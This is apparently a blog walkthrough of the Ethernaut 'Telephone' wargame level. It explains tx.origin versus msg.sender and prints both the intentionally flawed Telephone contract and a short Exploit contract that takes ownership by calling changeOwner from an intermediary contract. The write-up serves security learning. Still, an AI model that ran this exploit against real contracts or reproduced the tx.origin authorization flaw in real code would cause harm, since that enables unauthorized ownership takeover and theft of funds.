Ethernaut Series - 04 (Telephone)

hexbytehexbyte
2 min read

Concept

The main concept being taught in this level is the difference between the use of tx.origin and msg.sender. Let’s try and understand this using the following image:

Observations:

  1. If Bob calls contract A, the contract will see the value of tx.origin as well as msg.sender as Bob’s account/contract address.

  2. Now in the above scenario, if contract A makes a call to contract B then for contract B, the value of msg.sender will be equal to the address of contract A whereas the value of tx.origin will still be Bob’s address.

  3. Now let’s say contract B calls contract C, in such a case, contract C will see the value of msg.sender as the address of contract B whereas the value of tx.origin will still resolve back to Bob’s address.

This concludes that tx.origin always points to the source address where the transaction or a function call was initiated whereas msg.sender is the address of the immediate contract/user address which made that specific transaction/call.


Code

We are provided with the following codebase:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

As we can see, the contract checks if the tx.origin is not equal to msg.sender. Now if we think about it, any random contract/user can make a call to this contract and claim its ownership, since it checks if the addresses of a call to this function changeOwner, are not equal.

There is no check to see if the call is being made by the pre-existing owner or someone who is meant to have such permissions.

So to exploit this contract, we simply need to ensure that our tx.origin and msg.sender are not equal.


Proof-Of-Concept

The concept can be coded very simply as follows:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8;

interface ITelephone{
    function owner() external view returns (address);
    function changeOwner(address) external;
}

contract Exploit{
    constructor(address _target){
        ITelephone(_target).changeOwner(msg.sender);
    }
}

We provide the address of the instance while deploying the exploit contract using remix IDE:

After deploying the contract, it will make the function call to changeOwner() function which will allow us to make us the owner of the instance of that level. This marks the completion of our level.

0
Subscribe to my newsletter

Read articles from hexbyte directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

hexbyte
hexbyte